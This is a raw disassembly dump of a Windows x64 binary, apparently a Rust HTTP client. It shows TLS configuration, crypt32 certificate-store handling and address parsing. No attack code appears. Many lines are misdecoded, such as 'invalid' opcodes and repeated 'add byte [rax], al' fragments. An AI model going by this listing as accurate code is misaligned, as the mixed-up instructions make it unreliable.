je 0x14004fda0
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x78]
cmp rcx, rdx
je 0x14004fda0
jae 0x140051c23
mov r9, qword [rsp + 0x68]
cmp byte [r9 + rcx], 0x2f
jne 0x14004fda0
lea r8, [rcx + 1]
xor eax, eax
cmp r8, rdx
jne 0x14004fd53
mov r9d, edx
mov rcx, rdx
sub r9d, r8d
je 0x14004fda0
shl rax, 0x28
movabs r8, 0xffffffff00
and r13, r8
or r13, rax
movabs rax, 0xffffffffff00
and r13, rax
shr r13, 8
xor r8d, r8d
mov edi, ebx
movdqa xmm10, xmm9
cmp rcx, rdx
jne 0x14004feba
mov rcx, qword [rsp + 0x50]
cmp rcx, qword [rsp + 0x160]
jne 0x14004fcfb
lea rcx, [rsp + 0x160]
mov ebx, r8d
call fcn.140053570
mov r8d, ebx
mov rax, qword [rsp + 0x168]
mov qword [rsp + 0x58], rax
mov rcx, qword [rsp + 0x170]
lea rax, [rcx + rcx*8]
mov rdx, qword [rsp + 0x58]
mov byte [rdx + rax*2], r8b
mov dword [rdx + rax*2 + 1], r13d
shr r13, 0x20
mov byte [rdx + rax*2 + 5], r13b
movzx r8d, byte [rsp + 0x1d8]
mov byte [rdx + rax*2 + 6], r8b
movq qword [rdx + rax*2 + 7], xmm10
mov word [rdx + rax*2 + 0xf], di
movzx r8d, byte [rsp + 0x100]
mov byte [rdx + rax*2 + 0x11], r8b
inc rcx
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x170], rcx
jmp 0x1400501b7
movzx eax, byte [r9 + r8]
add al, 0xd0
cmp al, 9
ja 0x14004fda0
lea r10, [rcx + 2]
movzx eax, al
cmp r10, rdx
je 0x14004fc7d
movzx r11d, byte [r9 + r10]
add r11b, 0xd0
cmp r11b, 9
cmp bl, 9
cmp bl, 9
ja 0x140050222
lea eax, [rax + rax*4]
movzx r10d, r11b
lea eax, [r10 + rax*2]
cmp eax, 0x20
jbe 0x14005022a
nop word cs:[rax + rax]
mov qword [rsp + 0x78], 0
movdqa xmmword [rsp + 0x110], xmm6
mov r8d, 8
lea rcx, [rsp + 0x68]
lea rdx, [rsp + 0x110]
call fcn.140044af0
cmp rax, 8
jne 0x14004fed0
movzx r8d, word [rsp + 0x110]
movzx r9d, word [rsp + 0x112]
movzx eax, word [rsp + 0x114]
movq xmm0, qword [rsp + 0x116]
movzx edi, word [rsp + 0x11e]
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rsi + 0x41], ah
rol eax, 8
rol r8w, 8
rol r9w, 8
rol ecx, 8
rol ax, 8
punpcklbw xmm0, xmm6
pshuflw xmm0, xmm0, 0xb1
pshufhw xmm10, xmm0, 0xb1
packuswb xmm10, xmm6
rol di, 8
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x78]
cmp rcx, rdx
je 0x140050080
jae 0x140051c23
mov r13, qword [rsp + 0x68]
cmp byte [r13 + rcx], 0x2f
jne 0x140050080
lea r11, [rcx + 1]
xor r10d, r10d
cmp r11, rdx
jne 0x14005000e
mov qword [rsp + 0x48], r10
mov r10d, edx
mov rcx, rdx
sub r10d, r11d
je 0x140050080
mov word [rsp + 0x130], r8w
mov word [rsp + 0x132], r9w
movzx r8d, ax
shl r8, 0x20
mov r13d, dword [rsp + 0x130]
or r13, r8
shr eax, 8
mov r8b, 1
mov byte [rsp + 0x1d8], al
add byte [rax - 0x75], cl
and al, 0x48
add byte [rax - 0x75], cl
and al, 0x48
mov byte [rsp + 0x100], al
cmp rcx, rdx
je 0x14004fcc4
add dword [rax], eax
add byte [rax + 0x39], cl
ror dword [rdi], 1
test byte [rdx], cl
invalid
mov ebx, edi
movdqa xmm9, xmm10
jmp 0x140050080
add byte [rax], al
add dh, dh
ret 0xf01
test dl, 1
jne 0x140050080
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x78]
cmp rcx, rdx
je 0x140050080
jae 0x140051c23
mov r8, qword [rsp + 0x68]
cmp byte [r8 + rcx], 0x3a
jne 0x140050080
push 0x83c8041
cmp cl, byte [rdi]
test dword [rsi + 1], edi
add byte [rax], al
lea r9, [rcx + 1]
cmp r9, rdx
je 0x140050080
jae 0x140051c2f
cmp byte [r8 + r9], 0x3a
jne 0x140050080
add rcx, 2
mov qword [rsp + 0x78], rcx
movdqa xmmword [rsp + 0x1e0], xmm6
mov r8d, 8
sub r8, rax
lea rcx, [rsp + 0x68]
lea rdx, [rsp + 0x1e0]
mov rsi, rax
call fcn.140044af0
mov r13, rax
mov rcx, rsi
mov eax, 8
cmp rax, rsi
jb 0x140051d34
cmp r13, 9
jae 0x140051d20
lea rax, [rcx + r13]
cmp rax, 9
mov rsi, qword [rsp + 0x30]
jae 0x140051d08
lea rdi, [rcx + rcx]
mov r8d, 0x10
sub r8, rdi
lea rcx, [rsp + rcx*2]
add rcx, 0x190
xor edx, edx
call fcn.140106cb0
or eax, dword [rax]
or eax, dword [rax]
lea rcx, [rsp + 0x190]
lea rdx, [rsp + 0x110]
mov r8, rdi
call fcn.140106530
mov eax, 8
sub rax, r13
lea rcx, [rsp + rax*2]
add rcx, 0x190
add r13, r13
lea rdx, [rsp + 0x1e0]
mov r8, r13
call fcn.140106530
movzx r8d, word [rsp + 0x190]
movzx r9d, word [rsp + 0x192]
movzx eax, word [rsp + 0x194]
movq xmm0, qword [rsp + 0x196]
movzx edi, word [rsp + 0x19e]
jmp 0x14004fdff
movzx r10d, byte [r13 + r11]
add r10b, 0xd0
cmp r10b, 9
ja 0x140050080
lea rsi, [rcx + 2]
movzx r10d, r10b
cmp rsi, rdx
jne 0x140050035
mov rsi, qword [rsp + 0x30]
jmp 0x14004fe5f
mov qword [rsp + 0x48], r10
movzx r10d, byte [r13 + rsi]
add r10b, 0xd0
cmp r10b, 9
ja 0x1400502c2
mov rsi, qword [rsp + 0x48]
lea esi, [rsi + rsi*4]
movzx r10d, r10b
lea esi, [r10 + rsi*2]
mov r10, rsi
mov qword [rsp + 0x48], rsi
cmp esi, 0x80
mov rsi, qword [rsp + 0x30]
jbe 0x14005024f
nop word [rax + rax]
lea rcx, [rsp + 0x190]
mov qword [rsp + 0x190], rbp
mov qword [rsp + 0x198], r15
mov rdi, rcx
call fcn.140015820
test al, 1
jne 0x140050110
lea rcx, [rsp + 0x68]
mov rdx, rdi
call fcn.140015bc0
cmp byte [rsp + 0x68], 0
je 0x14005011f
mov eax, dword [rsp + 0x69]
lea rdx, [rsp + 0x6d]
mov rcx, qword [rdx]
mov qword [rsp + 0x110], rcx
mov ecx, dword [rdx + 8]
mov dword [rsp + 0x118], ecx
cmp qword [rsp + 0x198], 0
jne 0x14005011f
mov ecx, dword [rsp + 0x118]
mov dword [rsp + 0x1e8], ecx
mov rcx, qword [rsp + 0x110]
mov qword [rsp + 0x1e0], rcx
mov dil, 1
jmp 0x1400501c7
cmp qword [rsp + 0x198], 0
je 0x1400501c1
test r15, r15
je 0x140050150
js 0x140051c5a
movzx eax, byte [0x140182310]
xor ecx, ecx
mov rdx, r15
call fcn.1400df910
test rax, rax
je 0x140051c4d
mov r13, rax
jmp 0x140050156
mov r13d, 1
mov rcx, r13
mov rdx, rbp
mov r8, r15
call fcn.140106530
mov rax, qword [rsp + 0xe0]
cmp rax, qword [rsp + 0xd0]
jne 0x14005018b
lea rcx, [rsp + 0xd0]
call fcn.140053620
mov rax, qword [rsp + 0xe0]
mov rcx, qword [rsp + 0xd8]
lea rdx, [rax + rax*2]
add byte [rax], al
add byte [rax - 0x73], cl
adc al, 0x40
mov qword [rcx + rdx*8], r15
mov qword [rcx + rdx*8 + 8], r13
ror dword [rcx + rcx*4 + 0x6c], 1
ror dword [rax], 1
mov qword [rcx + rdx*8 + 0x10], r15
inc rax
mov qword [rsp + 0xe0], rax
mov edi, ebx
movdqa xmm10, xmm9
mov r15, qword [rsp + 0x38]
jmp 0x14004fa73
jl 0x1400501df
cmp cl, ch
mov dl, 0xf8
invalid
shr rax, 8
xor edi, edi
mov ecx, dword [rsp + 0x1e8]
mov dword [rsp + 0x248], ecx
mov rcx, qword [rsp + 0x1e0]
mov qword [rsp + 0x240], rcx
mov rcx, qword [rsp + 0x50]
mov word [rax + rax*2], fs
add al, byte [rax]
add byte [rax - 0x75], cl
and al, 0x50
cmp rcx, qword [rsp + 0x160]
mov r15, qword [rsp + 0x38]
jne 0x14004fa20
lea rcx, [rsp + 0x160]
mov rsi, rax
call fcn.140053570
mov rax, rsi
mov rsi, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x170]
jmp 0x14004fa20
mov rcx, r10
jmp 0x14004fc8c
add rcx, 3
cmp rcx, rdx
je 0x14004fc7d
movzx r8d, byte [r9 + rcx]
add r8b, 0xd0
cmp r8b, 0xa
jae 0x14004fc8c
jmp 0x14004fda0
lea rsi, [rcx + 3]
cmp rsi, rdx
jne 0x140050267
mov rsi, qword [rsp + 0x30]
mov r10, qword [rsp + 0x48]
jmp 0x14004fe5f
movzx r10d, byte [r13 + rsi]
add r10b, 0xd0
cmp r10b, 9
ja 0x1400502c2
mov rsi, qword [rsp + 0x48]
lea esi, [rsi + rsi*4]
movzx r10d, r10b
lea esi, [r10 + rsi*2]
mov r10, rsi
mov qword [rsp + 0x48], rsi
cmp esi, 0x80
mov rsi, qword [rsp + 0x30]
ja 0x140050080
add rcx, 4
cmp rcx, rdx
je 0x14005025d
movzx r10d, byte [r13 + rcx]
add r10b, 0xd0
cmp r10b, 0xa
jae 0x14004fe73
jmp 0x140050080
mov rcx, rsi
mov rsi, qword [rsp + 0x30]
jmp 0x14004fe73
mov rdi, qword [rsp + 0x160]
mov r14, qword [rsp + 0x168]
mov r15, qword [rsp + 0xd0]
mov r12, qword [rsp + 0xd8]
mov r13, qword [rsp + 0xe0]
mov rbp, rdi
cmp qword [rsp + 0x108], 0
jne 0x140050456
jmp 0x14005046b
invalid
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rbp, rdi
mov rax, qword [rsp + 0x220]
cmp rax, qword [rsp + 0x210]
jne 0x140050492
lea rcx, [rsp + 0x210]
call fcn.140051f00
mov rax, qword [rsp + 0x220]
mov rcx, qword [rsp + 0x218]
mov rdx, rax
shl rdx, 7
lea rdx, [rdx + rax*8]
mov qword [rcx + rdx], 3
mov r8, qword [rsp + 0xb0]
and al, 0xb0
add byte [rax], al
add byte [rcx + rcx*4 + 0x44], cl
adc dword [rax], ecx
and al, 0xb0
add byte [rax], al
add byte [rcx + rcx*4 + 0x44], cl
adc dword [rax], ecx
movdqu xmm0, xmmword [rsp + 0x68]
movups xmm1, xmmword [rsp + 0x78]
movdqu xmm2, xmmword [rsp + 0x88]
movups xmm3, xmmword [rsp + 0x98]
movdqu xmmword [rcx + rdx + 0x10], xmm0
movups xmmword [rcx + rdx + 0x20], xmm1
movdqu xmmword [rcx + rdx + 0x30], xmm2
movups xmmword [rcx + rdx + 0x40], xmm3
mov r8, qword [rsp + 0xa8]
mov qword [rcx + rdx + 0x50], r8
mov qword [rcx + rdx + 0x58], rbp
mov qword [rcx + rdx + 0x60], r14
mov r8, qword [rsp + 0x50]
mov qword [rcx + rdx + 0x68], r8
mov qword [rcx + rdx + 0x70], r15
mov qword [rcx + rdx + 0x78], r12
mov qword [rcx + rdx + 0x80], r13
inc rax
mov qword [rsp + 0x220], rax
mov r14, qword [rsp + 0xb8]
movzx eax, byte [0x140182310]
mov edx, 0x28
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x140051c3e
mov rdi, rax
mov qword [rax], 1
mov qword [rax + 8], 1
mov rax, qword [rsp + 0x220]
mov qword [rdi + 0x20], rax
movdqa xmm0, xmmword [rsp + 0x210]
movdqu xmmword [rdi + 0x10], xmm0
cmp byte [r14 + 0x17f], 0
jne 0x140051c5f
movzx eax, byte [0x140182310]
mov edx, 0x10
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x140051c9f
mov r13, rax
mov qword [rax], 1
mov qword [rax + 8], 1
mov rbp, qword [r14 + 0x160]
test rbp, rbp
je 0x1400505e9
mov rax, qword [r14 + 0x168]
mov qword [rsp + 0x38], rax
lock dec qword [r13]
jne 0x1400505e4
lea rdx, [0x140143428]
mov rcx, r13
call fcn.140004950
mov r13, rbp
jmp 0x1400505f5
lea rax, [0x140143428]
mov qword [rsp + 0x38], rax
lea r15, [r14 + 0x120]
mov r12, qword [r14 + 0x138]
test r12, r12
sete byte [rsp + 0x50]
je 0x1400506a8
movzx eax, byte [0x140182310]
mov edx, 0x40
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x140051cbd
mov rbx, rax
mov qword [rax], 1
mov qword [rax + 8], 1
movdqu xmm0, xmmword [r15]
movups xmm1, xmmword [r15 + 0x10]
movdqu xmm2, xmmword [r15 + 0x20]
movdqu xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm1
movdqu xmmword [rax + 0x30], xmm2
movzx eax, byte [0x140182310]
mov edx, 0x28
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x140051c3e
mov qword [rax], 1
mov qword [rax + 8], 1
mov qword [rax + 0x10], r13
mov rcx, qword [rsp + 0x38]
mov qword [rax + 0x18], rcx
mov qword [rax + 0x20], rbx
lea rcx, [0x140143448]
mov qword [rsp + 0x38], rcx
mov r13, rax
lock inc qword [r13]
jle 0x140051b60
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x1d8], r15
mov qword [rsp + 0x60], rdi
movzx eax, byte [0x140182310]
mov edx, 0x80
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x140051cae
mov qword [rax], 1
mov qword [rax + 8], 1
mov qword [rax + 0x10], 0
mov qword [rax + 0x20], 0
mov dword [rax + 0x38], 0x3b9aca00
mov qword [rax + 0x40], 0
mov dword [rax + 0x48], 0x11e1a300
mov dword [rax + 0x58], 0x3b9aca00
mov word [rax + 0x60], 1
mov byte [rax + 0x66], 0
mov word [rax + 0x77], 0
mov qword [rsp + 0x130], rax
mov qword [rsp + 0x58], r13
mov qword [rsp + 0x138], r13
add byte [rax - 0x75], cl
and al, 0x38
add byte [rax - 0x75], cl
and al, 0x38
mov qword [rsp + 0x140], rax
mov rsi, qword [r14 + 0xc0]
mov edi, dword [r14 + 0xc8]
lea rcx, [rsp + 0x130]
call fcn.140051fc0
mov qword [rax + 0x20], rsi
mov dword [rax + 0x28], edi
mov qword [rsp + 0x68], 0
mov word [rsp + 0x94], 0x501
mov qword [rsp + 0x78], 0
mov qword [rsp + 0x80], 8
mov qword [rsp + 0x88], 0
mov byte [rsp + 0x91], 0
movzx eax, byte [r14 + 0x170]
xor al, 1
mov byte [rsp + 0x90], al
movzx eax, byte [r14 + 0x171]
mov byte [rsp + 0x92], al
movzx eax, byte [r14 + 0x175]
xor al, 1
mov byte [rsp + 0x93], al
mov rdi, qword [r14 + 0x90]
mov rbx, qword [r14 + 0x98]
add byte [rax], al
add byte [rbp - 0x75], cl
mov esi, 0xa0
add byte [rax], al
add byte [rbp - 0x75], cl
mov esi, 0xa0
test r15, r15
je 0x14005084d
lea r12, [rsp + 0x78]
shl r15, 3
mov eax, 8
xor r13d, r13d
in eax, dx
in eax, dx
xor ecx, ecx
jmp 0x140050828
mov qword [rax + rcx*8], rsi
inc rcx
mov qword [rsp + 0x88], rcx
add r13, 8
cmp r15, r13
je 0x14005084d
mov rsi, qword [rbx + r13]
cmp rcx, qword [rsp + 0x78]
jne 0x140050810
mov rcx, r12
call fcn.1400eac90
mov rax, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x88]
jmp 0x140050810
test rdi, rdi
je 0x140050864
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
movzx eax, byte [r14 + 0x193]
mov r12b, 1
lea rcx, [0x14017844c]
movsxd rdx, dword [rcx + rax*4]
add rdx, rcx
mov al, 1
mov rdi, qword [rsp + 0x60]
movzx r13d, byte [rsp + 0x50]
jmp rdx
mov al, 2
mov byte [rsp + 0x94], al
movzx eax, byte [r14 + 0x194]
lea rcx, [0x14014348f]
lea rdx, [0x140178460]
movsxd rax, dword [rdx + rax*4]
add rax, rdx
add eax, edx
add eax, edx
jmp rax
movzx eax, byte [r14 + 0x194]
lea rcx, [0x14014348f]
lea rdx, [0x140178460]
movsxd rax, dword [rdx + rax*4]
add rax, rdx
jmp rax
mov al, 3
mov byte [rsp + 0x94], al
movzx eax, byte [r14 + 0x194]
lea rcx, [0x14014348f]
movsb byte [rdi], byte [rsi]
sub ecx, dword [rdi]
add byte [rax - 0x73], cl
adc eax, 0x127b6e
movsb byte [rdi], byte [rsi]
sub ecx, dword [rdi]
add byte [rax - 0x73], cl
adc eax, 0x127b6e
movsxd rax, dword [rdx + rax*4]
add rax, rdx
jmp rax
mov r12b, 2
jmp case.0x14009e930.0
lea rcx, str.invalid_minimum_TLS_version_for_backendinvalid_maximum_TLS_version_for_backendinternal_error:_entered_unreachable_code:_hickory_dns_shouldnt_be_enabled_unless_the_feature_is
mov edx, 0x27
call fcn.140052180
mov r12, rax
cmp qword [rsp + 0x68], 0
mov r15, qword [rsp + 0x58]
je 0x14005092f
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
mov rbx, qword [rsp + 0x80]
mov rsi, qword [rsp + 0x88]
test rsi, rsi
je 0x14005095f
xor edi, edi
mov r14, qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
nop dword [rax]
mov rcx, qword [rbx + rdi*8]
inc rdi
call r14
cmp rsi, rdi
jne 0x140050950
cmp qword [rsp + 0x78], 0
je 0x140050979
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0x130]
lock dec qword [rax]
mov rsi, qword [rsp + 0x60]
jne 0x140050999
mov rcx, qword [rsp + 0x130]
call fcn.1400398e0
mov rax, qword [rsp + 0x138]
lock dec qword [rax]
mov r14, qword [rsp + 0xb8]
mov rbx, qword [rsp + 0x158]
jne 0x140050e2a
mov rcx, qword [rsp + 0x138]
mov ecx, dword [rsp + 0x138]
mov rdx, qword [rsp + 0x140]
jmp 0x140050e25
add dword [rax], eax
add cl, ch
push rbp
add al, 0
add byte [rdi + rcx - 0x4a], al
movzx r12d, byte [rsp + 0x95]
jmp 0x1400509e6
mov r12b, 3
mov byte [rsp + 0x95], r12b
mov rax, qword [rsp + 0x130]
mov qword [rsp + 0x1c8], rax
mov rax, qword [rsp + 0x138]
mov qword [rsp + 0x1d0], rax
mov rax, qword [rsp + 0x140]
mov qword [rsp + 0x148], rax
mov rax, qword [rsp + 0x68]
movzx r12d, byte [rsp + 0x95]
jmp 0x1400509e6
mov r12b, 3
mov byte [rsp + 0x95], r12b
mov rax, qword [rsp + 0x130]
mov qword [rsp + 0x1c8], rax
mov rax, qword [rsp + 0x138]
mov qword [rsp + 0x1d0], rax
mov rax, qword [rsp + 0x140]
mov qword [rsp + 0x148], rax
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0xb0], rax
mov rsi, qword [rsp + 0x78]
mov r13, qword [rsp + 0x80]
mov r15, qword [rsp + 0x88]
movq xmm6, qword [rsp + 0x90]
movzx eax, byte [rsp + 0x94]
mov byte [rsp + 0x2f], al
lock inc qword [rdi]
jle 0x140051b60
movups xmm0, xmmword [0x1401435c0]
movaps xmmword [rsp + 0xe0], xmm0
movdqu xmm0, xmmword [0x1401435b0]
movdqa xmmword [rsp + 0xd0], xmm0
lea rdx, [rsp + 0xd0]
mov rcx, r14
call fcn.140022740
mov rbx, rax
mov rax, qword [rsp + 0xd0]
test rax, rax
je 0x140050abc
lea rcx, [rsp + 0xe8]
mov rdx, qword [rsp + 0xd8]
mov r8, qword [rsp + 0xe0]
call qword [rax + 0x10]
test rbx, rbx
je 0x140050b05
mov rdx, rbx
add rdx, 0x18
mov rax, qword [rbx]
mov r8, qword [rbx + 8]
mov r9, qword [rbx + 0x10]
lea rcx, [rsp + 0xd0]
call qword [rax]
movzx eax, byte [rbx + 0x20]
movdqu xmm0, xmmword [rsp + 0xd0]
mov word [rax + rdx*8], fs
add byte [rax], al
add bh, bh
adc byte [rdi], cl
mov dh, 0x43
and bl, dh
movq mm0, qword [rsp + 0xd0]
movups xmm1, xmmword [rsp + 0xe0]
movaps xmmword [rsp + 0x1f0], xmm1
movdqa xmmword [rsp + 0x1e0], xmm0
jmp 0x140050b07
mov al, 2
mov byte [rsp + 0x1c0], al
mov byte [rsp + 0x200], al
movzx eax, byte [r14 + 0x182]
mov dword [rsp + 0xc8], eax
mov eax, dword [r14 + 0x183]
mov dword [rsp + 0xcc], eax
movzx ebx, byte [r14 + 0x176]
movzx eax, byte [r14 + 0x17e]
mov byte [rsp + 0x2d], al
cmp qword [rsp + 0x30], 0
mov byte [rsp + 0x2e], r12b
je 0x140050b78
mov rcx, qword [rsp + 0xb0]
call qword [sym.imp.crypt32.dll_CertDuplicateCertificateContext]
mov qword [rsp + 0x100], rax
mov eax, 1
mov qword [rsp + 0x150], rax
jmp 0x140050b82
xor eax, eax
mov qword [rsp + 0x150], rax
mov qword [rsp + 0x108], rsi
mov qword [rsp + 0x20], 0
mov ecx, 2
xor edx, edx
xor r8d, r8d
xor r9d, r9d
rol byte [rbp + 0x31], 0xc9
call qword [sym.imp.crypt32.dll_CertOpenStore]
test rax, rax
je 0x140050caa
mov r12, rax
mov byte [rsp + 0x47], bl
mov qword [rsp + 0x238], rbp
test r15, r15
je 0x140050c2b
lea rdi, [r15*8]
xor ebp, ebp
lea rbx, [rsp + 0xd0]
mov r14, qword [sym.imp.crypt32.dll_CertAddCertificateContextToStore]
mov rsi, qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
nop word cs:[rax + rax]
mov qword [rsp + 0xd0], 0
mov rdx, qword [r13 + rbp]
mov rcx, r12
mov r8d, 3
mov r9, rbx
call r14
test eax, eax
je 0x140050ff6
mov rcx, qword [rsp + 0xd0]
call rsi
add rbp, 8
cmp rdi, rbp
jne 0x140050bf0
movups xmm0, xmmword [rsp + 0x130]
movaps xmmword [rsp + 0x110], xmm0
mov rax, qword [rsp + 0x140]
mov qword [rsp + 0x120], rax
mov rax, qword [rsp + 0x200]
mov qword [rsp + 0x1b0], rax
movaps xmm0, xmmword [rsp + 0x1e0]
movaps xmm1, xmmword [rsp + 0x1f0]
movaps xmmword [rsp + 0x1a0], xmm1
movaps xmmword [rsp + 0x190], xmm0
mov eax, dword [rsp + 0xc8]
cmp eax, 2
je 0x14005103a
test eax, eax
mov r14, qword [rsp + 0xb8]
movzx ebp, byte [rsp + 0x2d]
jne 0x14005104d
mov sil, 1
xor edi, edi
jmp 0x14005106e
call qword [sym.imp.kernel32.dll_GetLastError]
mov ebx, eax
mov rsi, rbp
cmp qword [rsp + 0x30], 0
mov rcx, qword [rsp + 0x100]
je 0x140050ccb
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
movzx eax, byte [0x140182310]
mov edx, 8
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x140051ccc
mov rbp, rax
shl rbx, 0x20
or rbx, 2
mov qword [rax], rbx
movzx eax, byte [0x140182310]
mov edx, 0x70
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x140051cdb
mov r12, rax
movabs rax, 0x8000000000000000
mov qword [r12], rax
mov qword [r12 + 0x58], rbp
lea rax, [0x14013dff0]
mov qword [r12 + 0x60], rax
mov word [r12 + 0x68], 0
cmp byte [rsp + 0x1c0], 2
mov rbx, qword [rsp + 0x158]
jne 0x140050d68
lock dec qword [rdi]
mov rbp, rsi
jne 0x140050d94
mov rcx, rdi
call fcn.140052260
cmp qword [rsp + 0x30], 0
jne 0x140050d9c
jmp 0x140050daa
lea rcx, [rsp + 0x1f8]
mov rax, qword [rsp + 0x1e0]
mov rdx, qword [rsp + 0x1e8]
mov r8, qword [rsp + 0x1f0]
call qword [rax + 0x10]
lock dec qword [rdi]
mov rbp, rsi
je 0x140050d56
cmp qword [rsp + 0x30], 0
je 0x140050daa
mov rcx, qword [rsp + 0xb0]
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
test r15, r15
je 0x140050dcf
xor esi, esi
mov rdi, qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
nop dword [rax + rax]
mov rcx, qword [r13 + rsi*8]
inc rsi
call rdi
cmp r15, rsi
jne 0x140050dc0
cmp qword [rsp + 0x108], 0
je 0x140050dec
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r13
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [rsp + 0x1c8]
lock dec qword [rcx]
jne 0x140050dff
call fcn.1400398e0
mov rcx, qword [rsp + 0x1d0]
lock dec qword [rcx]
mov rsi, qword [rsp + 0x60]
mov r15, qword [rsp + 0x58]
movzx r13d, byte [rsp + 0x50]
jne 0x140050e2a
mov rdx, qword [rsp + 0x148]
call fcn.140004950
lock dec qword [r15]
jne 0x140050e3d
mov rcx, r15
mov rdx, qword [rsp + 0x38]
call fcn.140004950
lock dec qword [rsi]
jne 0x140050e4b
mov rcx, rsi
call fcn.140052260
test rbp, rbp
setne bpl
mov rcx, r14
call fcn.140036d60
cmp qword [r14 + 0x60], 0
jne 0x140050e92
mov rdi, qword [r14 + 0x68]
mov rsi, qword [r14 + 0x70]
mov rcx, rdi
call qword [rsi]
cmp qword [rsi + 8], 0
je 0x140050e92
cmp qword [rsi + 0x10], 0x11
jb 0x140050e80
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
test rbx, rbx
je 0x140050ef6
mov r15, rbx
mov rdi, qword [r14 + 0x98]
mov rsi, qword [r14 + 0xa0]
test rsi, rsi
je 0x140050ecf
xor ebx, ebx
mov r14, qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
nop word cs:[rax + rax]
mov rcx, qword [rdi + rbx*8]
inc rbx
call r14
cmp rsi, rbx
jne 0x140050ec0
mov r14, qword [rsp + 0xb8]
cmp qword [r14 + 0x90], 0
mov rbx, r15
je 0x140050ef6
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
test rbx, rbx
jne 0x140050f6d
mov rdi, qword [r14 + 0x158]
test rdi, rdi
je 0x140050f6d
mov rbx, qword [rdi + 0x58]
test rbx, rbx
je 0x140050f3d
mov rsi, qword [rdi + 0x60]
mov rcx, rbx
call qword [rsi]
cmp qword [rsi + 8], 0
je 0x140050f3d
cmp qword [rsi + 0x10], 0x11
jb 0x140050f2b
mov rbx, qword [rbx - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rdi]
shl rax, 1
test rax, rax
je 0x140050f5b
mov r8, qword [rdi + 8]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
test r13b, r13b
je 0x140050f7e
lea rcx, [r14 + 0x120]
call fcn.1400025e0
mov rcx, qword [r14 + 0x160]
test rcx, rcx
sete al
or bpl, al
mov eax, 1
jne 0x140050fb4
lock dec qword [rcx]
jne 0x140050fb4
mov rcx, qword [r14 + 0x160]
mov rdx, qword [r14 + 0x168]
mov rsi, rax
call fcn.140004950
mov rax, rsi
mov rdx, r12
movaps xmm6, xmmword [rsp + 0x360]
movaps xmm7, xmmword [rsp + 0x370]
movaps xmm8, xmmword [rsp + 0x380]
movaps xmm9, xmmword [rsp + 0x390]
movaps xmm10, xmmword [rsp + 0x3a0]
add rsp, 0x3b8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
call qword [sym.imp.kernel32.dll_GetLastError]
mov ebx, eax
mov rcx, r12
xor edx, edx
call qword [sym.imp.crypt32.dll_CertCloseStore]
mov r14, qword [rsp + 0xb8]
mov rbp, qword [rsp + 0x238]
mov rdi, qword [rsp + 0x60]
mov rsi, rbp
cmp qword [rsp + 0x30], 0
mov rcx, qword [rsp + 0x100]
jne 0x140050cc5
jmp 0x140050ccb
xor esi, esi
xor edi, edi
mov r14, qword [rsp + 0xb8]
movzx ebp, byte [rsp + 0x2d]
jmp 0x14005106e
lea rax, [r14 + 0x187]
mov ecx, dword [rax + 8]
mov dword [rsp + 0xd8], ecx
mov rax, qword [rax]
mov qword [rsp + 0xd0], rax
mov dil, 1
xor esi, esi
lea rbx, [rsp + 0x110]
mov rcx, rbx
call fcn.140051fc0
mov byte [rax + 0x51], sil
mov ecx, dword [rsp + 0xcc]
mov dword [rax + 0x52], ecx
mov byte [rax + 0x56], dil
mov dword [rax + 0x57], ecx
mov rcx, qword [rsp + 0xd0]
mov qword [rax + 0x5b], rcx
mov ecx, dword [rsp + 0xd8]
mov dword [rax + 0x63], ecx
mov rcx, rbx
call fcn.140051fc0
mov byte [rax + 0x67], bpl
mov rcx, rbx
call fcn.140051fc0
mov byte [rax + 0x50], 0
movaps xmm0, xmmword [rsp + 0x190]
movaps xmm1, xmmword [rsp + 0x1a0]
movups xmmword [rsp + 0xd4], xmm0
mov rax, qword [rsp + 0x1b0]
mov qword [rsp + 0xf4], rax
movups xmmword [rsp + 0xe4], xmm1
mov rax, qword [rsp + 0x120]
mov qword [rsp + 0x250], rax
movaps xmm0, xmmword [rsp + 0x110]
movaps xmmword [rsp + 0x240], xmm0
mov rax, qword [rsp + 0xec]
mov qword [rsp + 0x17c], rax
mov rax, qword [rsp + 0xf4]
